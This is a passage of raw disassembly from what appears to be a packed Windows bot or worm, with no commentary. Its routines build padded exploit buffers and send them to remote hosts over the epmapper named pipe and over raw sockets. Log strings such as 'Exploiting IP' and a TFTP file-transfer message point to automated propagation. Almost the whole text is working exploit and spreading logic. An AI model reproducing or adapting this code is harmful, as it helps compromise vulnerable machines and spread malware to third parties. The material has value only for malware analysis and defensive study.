push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: .packed:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: .packed:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: .packed:0040D69Aj
; .packed:0040D70Dj
push ebx
call dword_4CBA7C ; closesocket
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: .packed:0040D657j
push 3E8h
call dword_427080 ; Sleep
loc_40D737: ; CODE XREF: .packed:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: .packed:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431808[eax]
lea eax, dword_431808[eax]
loc_40D765: ; CODE XREF: .packed:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: .packed:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; .packed:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: .packed:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: .packed:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: .packed:00429008o
test byte_4DC028, 1
jnz short loc_40DB4C
or byte_4DC028, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: .packed:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432950
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_432948 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB98
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE704
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA84
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA84
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: .packed:0040DFC6p
; .packed:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432950
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432948 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB98
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB91C
test eax, eax
jz short loc_40DCF2
push 7D0h
call dword_427080 ; Sleep
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: .packed:0040DFF5p
; .packed:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset byte_429110
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_432944
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432940
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432478
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327DC
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327F0
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432830
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: .packed:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: .packed:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_43242C
push dword ptr [ebp-4]
call dword_4270F4 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: .packed:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: .packed:0040E005j
push dword ptr [ebp-4]
call dword_427070 ; CloseHandle
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: .packed:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call dword_4270EC ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
call dword_427070 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: .packed:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9E4 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA24 ; inet_addr
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: .packed:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: .packed:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: .packed:0040E15Fj
push ebx
push 48h
push offset dword_43242C
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9FC ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: .packed:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9FC ; recv
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: .packed:0040E162j
; .packed:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: .packed:0040E14Aj
call dword_4CBA7C ; closesocket
loc_40E1CA: ; CODE XREF: .packed:0040DF7Dj
; .packed:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: .packed:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA7C ; closesocket
loc_40E1DE: ; CODE XREF: .packed:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: .packed:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
call dword_427080 ; Sleep
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: .packed:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: .packed:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431808[eax]
lea eax, dword_431808[eax]
loc_40E28A: ; CODE XREF: .packed:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: .packed:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
